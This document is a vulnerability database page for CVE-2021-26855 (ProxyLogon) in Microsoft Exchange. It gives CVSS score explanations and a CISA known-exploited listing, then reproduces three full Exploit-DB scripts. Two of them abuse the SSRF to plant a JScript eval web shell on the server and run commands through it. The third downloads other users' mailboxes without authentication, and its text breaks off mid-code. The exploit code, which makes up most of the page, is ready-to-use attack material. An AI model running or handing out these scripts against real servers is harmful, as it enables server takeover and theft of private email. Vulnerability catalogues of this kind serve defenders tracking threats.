CVE-2021-26855 Detail

CVE-2021-26855

Score / Severity

9.8

Critical

CVE Descriptions

Microsoft Exchange Server Remote Code Execution Vulnerability

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-918	Server-Side Request Forgery (SSRF) The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.1	9.1	CRITICAL	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N/E:F/RL:O/RC:C More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. None There is no impact to availability within the impacted component. Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Exploit Code Maturity This metric measures the likelihood of the vulnerability being attacked, and is typically based on the current state of exploit techniques, exploit code availability, or active, “in-the-wild” exploitation. Functional Functional exploit code is available. The code works in most situations where the vulnerability exists. Remediation Level The Remediation Level of a vulnerability is an important factor for prioritization. Official fix A complete vendor solution is available. Either the vendor has issued an official patch, or an upgrade is available. Report Confidence This metric measures the degree of confidence in the existence of the vulnerability and the credibility of the known technical details. Confirmed Detailed reports exist, or functional reproduction is possible (functional exploits may provide this). Source code is available to independently verify the assertions of the research, or the author or vendor of the affected code has confirmed the presence of the vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
V3.1	9.1	CRITICAL	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. None There is no impact to availability within the impacted component. Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	[email protected]
V3.1	9.8	CRITICAL	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	[email protected]
V2	7.5		AV:N/AC:L/Au:N/C:P/I:P/A:P	[email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Microsoft Exchange Server Remote Code Execution Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Known

Added : 2021-11-02 23h00 +00:00

Action is due : 2021-04-15 22h00 +00:00

Important information

This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 49663

Publication date : 2021-03-13 23h00 +00:00
Author : F5
EDB Verified : No

import requests from urllib3.exceptions import InsecureRequestWarning import random import string import sys def id_generator(size=6, chars=string.ascii_lowercase + string.digits): return ''.join(random.choice(chars) for _ in range(size)) if len(sys.argv) < 2: print("使用方式: python PoC.py <target> <email>") print("使用方式: python PoC.py mail.btwaf.cn [email protected]") exit() proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) target = sys.argv[1] email = sys.argv[2] random_name = id_generator(4) + ".js" user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36" shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test11.aspx" shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path # webshell-马子内容 shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>' autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"> <Request> <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema> </Request> </Autodiscover> """ % email print("正在获取Exchange Server " + target+"权限") print("=============================") FQDN = "EXCHANGE01" ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522", "User-Agent": user_agent}, verify=False,proxies=proxies) if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers: FQDN = ct.headers["X-FEServer"] ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN, "Content-Type": "text/xml", "User-Agent": user_agent}, data=autoDiscoverBody, proxies=proxies, verify=False ) if ct.status_code != 200: print(ct.status_code) print("Autodiscover Error!") exit() if "<LegacyDN>" not in str(ct.content): print("Can not get LegacyDN!") exit() legacyDn = str(ct.content).split("<LegacyDN>")[1].split(r"</LegacyDN>")[0] print("Got DN: " + legacyDn) mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00" ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN, "Content-Type": "application/mapi-http", "X-Requesttype": "Connect", "X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}", "X-Clientapplication": "Outlook/15.0.4815.1002", "X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456", "User-Agent": user_agent }, data=mapi_body, verify=False, proxies=proxies ) if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content): print("Mapi Error!") exit() sid = str(ct.content).split("with SID ")[1].split(" and MasterAccountSid")[0] print("Got SID: " + sid) sid = sid.replace(sid.split("-")[-1],"500") proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r> """ % sid ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN, "Content-Type": "text/xml", "msExchLogonMailbox": "S-1-5-20", "User-Agent": user_agent }, data=proxyLogon_request, proxies=proxies, verify=False ) if ct.status_code != 241 or not "set-cookie" in ct.headers: print("Proxylogon Error!") exit() sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0] msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0] print("Got session id: " + sess_id) print("Got canary: " + msExchEcpCanary) ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % ( FQDN, msExchEcpCanary, sess_id, msExchEcpCanary), "Content-Type": "application/json; ", "msExchLogonMailbox": "S-1-5-20", "User-Agent": user_agent }, json={"filter": { "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}}, verify=False ) if ct.status_code != 200: print("GetOAB Error!") exit() oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0] print("Got OAB id: " + oabId) oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId}, "properties": { "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "ExternalUrl": "http://ffff/#%s" % shell_content}}} ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % ( FQDN, msExchEcpCanary, sess_id, msExchEcpCanary), "msExchLogonMailbox": "S-1-5-20", "Content-Type": "application/json; charset=utf-8", "User-Agent": user_agent }, json=oab_json, verify=False ) if ct.status_code != 200: print("Set external url Error!") exit() reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId}, "properties": { "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "FilePathName": shell_absolute_path}}} ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % ( FQDN, msExchEcpCanary, sess_id, msExchEcpCanary), "msExchLogonMailbox": "S-1-5-20", "Content-Type": "application/json; charset=utf-8", "User-Agent": user_agent }, json=reset_oab_body, verify=False ) if ct.status_code != 200: print("写入shell失败了啊") exit() print("成功了。马上就验证shell是否OK!") print("POST shell:https://"+target+"/owa/auth/test11.aspx") shell_url="https://"+target+"/owa/auth/test11.aspx" print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());') print("正在请求shell") data=requests.post(shell_url,data={"code":"Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"},verify=False) if data.status_code != 200: print("写入shell失败") else: print("权限如下："+data.text.split("OAB (Default Web Site)")[0].replace("Name : ",""))

Exploit Database EDB-ID : 49637

Publication date : 2021-03-10 23h00 +00:00
Author : testanull
EDB Verified : No

# Exploit Title: Microsoft Exchange 2019 - SSRF to Arbitrary File Write (Proxylogon) # Date: 2021-03-10 # Exploit Author: testanull # Vendor Homepage: https://www.microsoft.com # Version: MS Exchange Server 2013, 2016, 2019 # CVE: 2021-26855, 2021-27065 import requests from urllib3.exceptions import InsecureRequestWarning import random import string import sys def id_generator(size=6, chars=string.ascii_lowercase + string.digits): return ''.join(random.choice(chars) for _ in range(size)) if len(sys.argv) < 2: print("Usage: python PoC.py <target> <email>") print("Example: python PoC.py mail.evil.corp [email protected]") exit() requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) target = sys.argv[1] email = sys.argv[2] random_name = id_generator(3) + ".js" user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36" shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\ahihi.aspx" shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["exec_code"],"unsafe");}</script>' legacyDnPatchByte = "68747470733a2f2f696d6775722e636f6d2f612f7a54646e5378670a0a0a0a0a0a0a0a" autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"> <Request> <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema> </Request> </Autodiscover> """ % email print("Attacking target " + target) print("=============================") print(legacyDnPatchByte.decode('hex')) FQDN = "EXCHANGE" ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522", "User-Agent": user_agent}, verify=False) if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers: FQDN = ct.headers["X-FEServer"] ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN, "Content-Type": "text/xml", "User-Agent": user_agent}, data=autoDiscoverBody, verify=False ) if ct.status_code != 200: print("Autodiscover Error!") exit() if "<LegacyDN>" not in ct.content: print("Can not get LegacyDN!") exit() legacyDn = ct.content.split("<LegacyDN>")[1].split("</LegacyDN>")[0] print("Got DN: " + legacyDn) mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00" ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Admin@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN, "Content-Type": "application/mapi-http", "User-Agent": user_agent }, data=mapi_body, verify=False ) if ct.status_code != 200 or "act as owner of a UserMailbox" not in ct.content: print("Mapi Error!") exit() sid = ct.content.split("with SID ")[1].split(" and MasterAccountSid")[0] print("Got SID: " + sid) proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r> """ % sid ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Admin@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN, "Content-Type": "text/xml", "User-Agent": user_agent }, data=proxyLogon_request, verify=False ) if ct.status_code != 241 or not "set-cookie" in ct.headers: print("Proxylogon Error!") exit() sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0] msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0] print("Got session id: " + sess_id) print("Got canary: " + msExchEcpCanary) ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Admin@%s:444/ecp/about.aspx?a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % ( FQDN, sess_id, msExchEcpCanary), "User-Agent": user_agent }, verify=False ) if ct.status_code != 200: print("Wrong canary!") print("Sometime we can skip this ...") rbacRole = ct.content.split("RBAC roles:</span> <span class='diagTxt'>")[1].split("</span>")[0] # print "Got rbacRole: "+ rbacRole print("=========== It means good to go!!!====") ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % ( FQDN, msExchEcpCanary, sess_id, msExchEcpCanary), "Content-Type": "application/json; charset=utf-8", "User-Agent": user_agent }, json={"filter": { "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}}, verify=False ) if ct.status_code != 200: print("GetOAB Error!") exit() oabId = ct.content.split('"RawIdentity":"')[1].split('"')[0] print("Got OAB id: " + oabId) oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId}, "properties": { "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "ExternalUrl": "http://ffff/#%s" % shell_content}}} ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % ( FQDN, msExchEcpCanary, sess_id, msExchEcpCanary), "Content-Type": "application/json; charset=utf-8", "User-Agent": user_agent }, json=oab_json, verify=False ) if ct.status_code != 200: print("Set external url Error!") exit() reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId}, "properties": { "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "FilePathName": shell_absolute_path}}} ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % ( FQDN, msExchEcpCanary, sess_id, msExchEcpCanary), "Content-Type": "application/json; charset=utf-8", "User-Agent": user_agent }, json=reset_oab_body, verify=False ) if ct.status_code != 200: print("Write Shell Error!") exit() print("Successful!")

Exploit Database EDB-ID : 49879

Publication date : 2021-05-17 22h00 +00:00
Author : Gonzalo Villegas
EDB Verified : No

# Exploit Title: Microsoft Exchange 2019 - Unauthenticated Email Download # Date: 03-11-2021 # Exploit Author: Gonzalo Villegas a.k.a Cl34r # Vendor Homepage: https://www.microsoft.com/ # Version: OWA Exchange 2013 - 2019 # Tested on: OWA 2016 # CVE : CVE-2021-26855 # Details: checking users mailboxes and automated downloads of emails import requests import argparse import time from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) __proxies__ = {"http": "http://127.0.0.1:8080", "https": "https://127.0.0.1:8080"} # for debug on proxy # needs to specifies mailbox, will return folder Id if account exists payload_get_folder_id = """<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <m:GetFolder> <m:FolderShape> <t:BaseShape>AllProperties</t:BaseShape> </m:FolderShape> <m:FolderIds> <t:DistinguishedFolderId Id="inbox"> <t:Mailbox> <t:EmailAddress>{}</t:EmailAddress> </t:Mailbox> </t:DistinguishedFolderId> </m:FolderIds> </m:GetFolder> </soap:Body> </soap:Envelope> """ # needs to specifies Folder Id and ChangeKey, will return a list of messages Ids (emails) payload_get_items_id_folder = """<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <m:FindItem Traversal="Shallow"> <m:ItemShape> <BaseShape>AllProperties</BaseShape></m:ItemShape> <SortOrder/> <m:ParentFolderIds> <t:FolderId Id="{}" ChangeKey="{}"/> </m:ParentFolderIds> <QueryString/> </m:FindItem> </soap:Body> </soap:Envelope> """ # needs to specifies Id (message Id) and ChangeKey (of message too), will return an email from mailbox payload_get_mail = """<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <GetItem xmlns="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" Traversal="Shallow"> <ItemShape> <t:BaseShape>Default</t:BaseShape> </ItemShape> <ItemIds> <t:ItemId Id="{}" ChangeKey="{}"/> </ItemIds> </GetItem> </soap:Body> </soap:Envelope> """ def getFQDN(url): print("[*] Getting FQDN from headers") rs = requests.post(url + "/owa/auth.owa", verify=False, data="evildata") if "X-FEServer" in rs.headers: return rs.headers["X-FEServer"] else: print("[-] Can't get FQDN ") exit(0) def extractEmail(url, uri, user, fqdn, content_folderid, path): headers = {"Cookie": "X-BEResource={}/EWS/Exchange.asmx?a=~1942062522".format(fqdn), "Content-Type": "text/xml", "User-Agent": "Mozilla pwner"} from xml.etree import ElementTree as ET dom = ET.fromstring(content_folderid) for p in dom.findall('.//{http://schemas.microsoft.com/exchange/services/2006/types}Folder'): id_folder = p[0].attrib.get("Id") change_key_folder = p[0].attrib.get("ChangeKey") data = payload_get_items_id_folder.format(id_folder, change_key_folder) random_uris = ["auth.js", "favicon.ico", "ssq.js", "ey37sj.js"] rs = requests.post(url + uri, data=data, headers=headers, verify=False) if "ErrorAccessDenied" in rs.text: print("[*] Denied ;(.. retrying") t_uri = uri.split("/")[-1] for ru in random_uris: print("[*] Retrying with {}".format(uri.replace(t_uri, ru))) rs = requests.post(url + uri.replace(t_uri, ru), data=data, headers=headers, verify=False) if "NoError" in rs.text: print("[+] data found, dowloading email") break print("[+]Getting mails...") dom_messages = ET.fromstring(rs.text) messages = dom_messages.find('.//{http://schemas.microsoft.com/exchange/services/2006/types}Items') for m in messages: id_message = m[0].attrib.get("Id") change_key_message = m[0].attrib.get("ChangeKey") data = payload_get_mail.format(id_message, change_key_message) random_uris = ["auth.js", "favicon.ico", "ssq.js", "ey37sj.js"] rs = requests.post(url + uri, data=data, headers=headers, verify=False) if "ErrorAccessDenied" in rs.text: print("[*] Denied ;(.. retrying") t_uri = uri.split("/")[-1] for ru in random_uris: print("[*] Retrying with {}".format(uri.replace(t_uri, ru))) rs = requests.post(url + uri.replace(t_uri, ru), data=data, headers=headers, verify=False) if "NoError" in rs.text: print("[+] data found, downloading email") break try: f = open(path + 